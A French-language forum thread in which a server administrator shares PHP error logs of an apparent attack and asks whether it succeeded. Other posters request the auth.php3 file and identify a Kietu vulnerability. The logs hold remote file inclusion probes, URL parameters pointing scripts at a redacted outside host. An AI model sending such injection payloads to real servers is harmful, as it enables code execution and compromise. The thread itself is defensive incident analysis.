Tentative d'attaque ?

Bonjour à tous,
Ce matin en regardant les logs d'erreur de mon serveur j'ai remarqué ces lignes :

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[19-May-2011 03:55:41] PHP Warning:  parse_url(/index.php?req_path=http://xxxxxx./) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:55:46] PHP Warning:  parse_url(/index.php?req_path=http://xxxxxx./) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:55:50] PHP Warning:  parse_url(/index.php?inc=http://xxxxxx./foo) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:55:50] PHP Warning:  parse_url(/index.php?inc=http://xxxxxx./foo) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:24] PHP Warning:  parse_url(/index.php?doc=http://xxxxxx./foo.php) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:24] PHP Warning:  parse_url(/index.php?doc=http://xxxxxx./foo.php) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(/index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(//index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(/index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(//index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:39] PHP Warning:  parse_url(/index.php?libDir=http://xxxxxxxx) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:40] PHP Warning:  parse_url(/index.php?libDir=http://xxxxxxxx) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:09] PHP Warning:  parse_url(/index.php?function=custom&amp;custom=http://xxxxxxxx/1) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:10] PHP Warning:  parse_url(/index.php?function=custom&amp;custom=http://xxxxxxxx/1) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:19] PHP Warning:  parse_url(/index.php?do=ext&amp;page=http://xxxxxxxx/file) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:19] PHP Warning:  parse_url(/index.php?do=ext&amp;page=http://xxxxxxxx/file) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:59] PHP Warning:  File Upload Mime headers garbled in Unknown on line 0
[19-May-2011 03:58:59] PHP Warning:  File Upload Mime headers garbled in Unknown on line 0

Cela ressemble bien a une tentative d'attaque. Avez-vous une idée de ce qu'il a essayé de faire ? Y'a t-il un risque ?

Merci pour vos conseils

montre ton auth.php3

Ok, voici une copie du début du fichier ( que j'ai copié a partir de vi, connecté en ssh sur le serveur, je ne sais pas comment telecharger un fichier en ssh sur mon pc )

Plutot bizarre :

Code:

1
2
3
4
5
6
<?php
    die("The file {$_SERVER['SCRIPT_FILENAME']} is part of Plesk 9 distribution. It cannot be run outside of Plesk 9 environment.\n");
    __sw_loader_pragma__('P');
?>
&ÃÃ<8a><8a>^V<ÃªÂ®<86>Â«^_Ã¸ <9d><9d>Â½Â¢qÃ«;la;^S^H\^B^RÃ¿9{Ã¾^UÂ´^S^OÃÂ*XÂ¾Â½<98>^EnÃÂ¹-Ã¥rH<9e>Ã<96>jJÃ¸^X^G2^Z^S<82>Ã»^[Â£^KÃ¶Ã¶s>Â¾Q@'*Â¢Ã¯Â*Ão<91>Ã´^G_$<97><91>Ã¶y?/R<8d>F^A\8^]^T2Â¨<8d>Ã
;*ÃplqÃ/Â¡ÂºÃ<8a>Ã³e1ÃÃ'ÃºÃÃÂ³:1<94>,kÃ0ÃÃ^LÃ<9e>ÂºiÃ³<9b><9e>wKÃ¢G^Ly<84>H<^?Â¡<97>Ã½ Â¯gÃÃÃ·Ã^U^HÃ§<8a>`Ã,X~Â*Â¨Â¿qÃ®ÃuhFÃ©8<98>Â¦Ã¬Â½Â¶Â¾ÃÂ¨vÃ²Ãª<8d>Ãª<8e>Ã³<95>C<84>Â¹  ^Z^Umn:f<9e>ZÃoÃÂ»<94>Â¼ÃµaONWÃ´Ã^M|<9e>a<91>Ã

Merci

prend le via stfp

Il y a essayé d'exploiter au moins 1 faille de Kietu.
http://osvdb.org/show/osvdb/3763

Ok je l'ai téléchargé, c'est pareil.
Il y a dans le meme dossier un fichier nommé .auth.php3.swp, tout autant illisible.

Je devrais m'inquiéter alors ou pas ? Comment savoir si une des ses attaques a marché ? ( Une attaque qui n'aurait donc pas déclenché de warning et qui ne serait donc pas loguée )